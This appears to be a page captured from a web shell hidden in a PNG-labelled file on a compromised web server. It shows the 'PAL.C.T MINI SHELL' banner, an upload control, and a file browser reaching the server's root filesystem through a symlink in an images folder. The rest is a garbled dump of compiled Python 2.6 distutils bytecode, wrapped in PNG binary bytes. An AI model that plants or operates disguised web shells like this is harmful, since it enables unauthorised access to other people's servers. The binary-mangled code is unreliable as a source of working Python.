php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/usr/lib/python2.6/distutils/command/
upload
files >> /var/www/html/sub/images/sym/root/usr/lib/python2.6/distutils/command/register.pyo

Lc@sdZdZddkZddkZddkZddkZddkZddkZddkl	Z	ddk
TddklZde	fdYZ
dS(	shdistutils.command.register

Implements the Distutils 'register' command (register with the repository).
s9$Id: register.py 77719 2010-01-24 00:57:20Z tarek.ziade $iN(t
PyPIRCCommand(t*(tlogtregistercBseZdZeidgZeiddgZdZdZdZ	dZ
dZd	Zd
Z
dZd
dZRS(s7register the distribution with the Python package indexslist-classifierss list the valid Trove classifierstverifycCsti|d|_dS(Ni(Rtinitialize_optionstlist_classifiers(tself((s0/usr/lib/python2.6/distutils/command/register.pyRs
cCs\|i|i|i|io|in#|io|in|idS(N(tfinalize_optionst_set_configtcheck_metadatatdry_runtverify_metadataRtclassifierst
send_metadata(R((s0/usr/lib/python2.6/distutils/command/register.pytruns




cCs|ii}g}x?dD]7}t||o
t||p|i|qqW|o!|idti|dn|io#|i	p|iddqnC|i
o#|ip|idd	qn|id
ddd
S(sEnsure that all required elements of meta-data (name, version,
           URL, (author and author_email) or (maintainer and
           maintainer_email)) are supplied by the Distribution object; warn if
           any are missing.
        tnametversionturlsmissing required meta-data: s, s)missing meta-data: if 'author' supplied, s#'author_email' must be supplied toos-missing meta-data: if 'maintainer' supplied, s''maintainer_email' must be supplied toos4missing meta-data: either (author and author_email) s%or (maintainer and maintainer_email) smust be suppliedN(snamesversionR(tdistributiontmetadatathasattrtgetattrtappendtwarntstringtjointauthortauthor_emailt
maintainertmaintainer_email(RRtmissingtattr((s0/usr/lib/python2.6/distutils/command/register.pyR
*s( 	

	

	cCs|i}|hjoA|d|_|d|_|d|_|d|_t|_nZ|id|ifjotd|in|idjo|i|_nt	|_dS(s: Reads the configuration file and set attributes.
        tusernametpasswordt
repositorytrealmtpypis%s not found in .pypircN(
t_read_pypircR!R"R#R$tTruet
has_configtDEFAULT_REPOSITORYt
ValueErrortFalse(Rtconfig((s0/usr/lib/python2.6/distutils/command/register.pyR	Hs





cCs%ti|id}|iGHdS(s8 Fetch the list of classifiers from the server.
        s?:action=list_classifiersN(turllib2turlopenR#tread(Rtresponse((s0/usr/lib/python2.6/distutils/command/register.pyR
YscCs1|i|id\}}d||fGHdS(sF Send the metadata to the package index server to be checked.
        RsServer response (%s): %sN(tpost_to_servertbuild_post_data(Rtcodetresult((s0/usr/lib/python2.6/distutils/command/register.pyR_sc
Cs|iod}|i}|i}nd}d}}di}xU||joG|idtit}|p
d}qE||jo	dGHqEqEW|djogx|ptd}qWx|ptid}qWt	i
}ti|id	}|i
|i||||i|id
|\}}|id||fti|io|djo|id
ti|id|itid}x5|idjo!td}|p
d}qqW|idjo|i||q
qn|djoUhdd6}	d|	d<|	d<|	d<d#|	d<x |	dptd|	d<qOWx|	d|	djox#|	dptid|	d<qWx#|	dptid|	d<qW|	d|	djod|	d<d#|	d<dGHqrqrWx |	dptd|	d<q
W|i|	\}}|djod||fGHqdGHdGHnp|d jobhd!d6}	d|	d<x |	dptd"|	d<qW|i|	\}}d||fGHnd#S($s_ Send the metadata to the package index server.

            Well, do the following:
            1. figure who the user is, and then
            2. send the data as a Basic auth'ed POST.

            First we try to read the username/password from $HOME/.pypirc,
            which is a ConfigParser-formatted file with a section
            [distutils] containing username and password entries (both
            in clear text). Eg:

                [distutils]
                index-servers =
                    pypi

                [pypi]
                username: fred
                password: sekrit

            Otherwise, to figure who the user is, we offer the user three
            choices:

             1. use existing login,
             2. register as a new user, or
             3. set the password to a random string and email the user.

        t1txts1 2 3 4sWe need to know who you are, so please choose either:
 1. use your existing login,
 2. register as a new user,
 3. have the server generate a new password for you (and email it to you), or
 4. quit
Your selection [default 1]: s&Please choose one of the four options!s
Username: s
Password: itsubmitsServer response (%s): %sisAI can store your PyPI login so future submissions will be faster.s (the login will be stored in %s)tXtynsSave your login (y/N)?tntyt2tusers:actionRR"temailtconfirms
 Confirm: s!Password and confirm don't match!s
   EMail: s"You will receive an email shortly.s7Follow the instructions in it to complete registration.t3tpassword_resetsYour email address: N(R(R!R"tsplittannounceRtINFOt	raw_inputtgetpassR-tHTTPPasswordMgrturlparseR#tadd_passwordR$R1R2t_get_rc_filetlowert
_store_pypirctNone(
RtchoiceR!R"tchoicestauththostR3R4tdata((s0/usr/lib/python2.6/distutils/command/register.pyRgs
	



	



	
	





	


cCs|ii}h|d6dd6|id6|id6|id6|id6|id6|id	6|id
6|i	d6|i
d6|id
6|id6|i
d6|id6|id6|id6}|dp|dp|dod|d<n|S(Ns:actions1.0tmetadata_versionRRtsummaryt	home_pageRRtlicensetdescriptiontkeywordstplatformR
tdownload_urltprovidestrequirest	obsoletess1.1(RRtget_nametget_versiontget_descriptiontget_urltget_contacttget_contact_emailtget_licencetget_long_descriptiontget_keywordst
get_platformstget_classifierstget_download_urltget_providestget_requirest
get_obsoletes(RtactiontmetaRS((s0/usr/lib/python2.6/distutils/command/register.pyR2s,













!cCs[|id|d|iftid}d|}|d}ti}x|iD]\}}t|tgtdfjo
|g}nxo|D]g}|i||id||id|i||o"|dd	jo|id
qqWqWW|i||id
|i}hd|d6t	t
|d
6}	ti|i||	}
ti
tid|}d}y|i|
}Wnptij
o8}
|io|
ii}n|
i|
if}nKtij
o}
dt	|
f}n"X|io|i}nd}|ioddG|GddGHn|S(sC Post a query to the server, and return a string response.
        sRegistering %s to %sRs3--------------GHSKFJDLGDS7543FJKLFHRE75642756743254s
--s--s*
Content-Disposition: form-data; name="%s"s

is
s
s/multipart/form-data; boundary=%s; charset=utf-8sContent-typesContent-lengthtpassword_mgrR7iitOKt-iK((iRq(RDR#RREtStringIOtitemsttypetwritetgetvaluetstrtlenR-tRequesttbuild_openertHTTPBasicAuthHandlertopent	HTTPErrort
show_responsetfpR/R3tmsgtURLError(RRSRQtboundarytsep_boundarytend_boundarytbodytkeytvaluetheaderstreqtopenerR4te((s0/usr/lib/python2.6/distutils/command/register.pyR1sT


%








N(slist-classifiersNs list the valid Trove classifiers(t__name__t
__module__RXRtuser_optionsRNtboolean_optionsRRR
R	R
RRR2R1(((s0/usr/lib/python2.6/distutils/command/register.pyRs

							v	(t__doc__t__revision__tosRR-RGRIRstdistutils.coreRtdistutils.errorst	distutilsRR(((s0/usr/lib/python2.6/distutils/command/register.pyt<module>s<

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`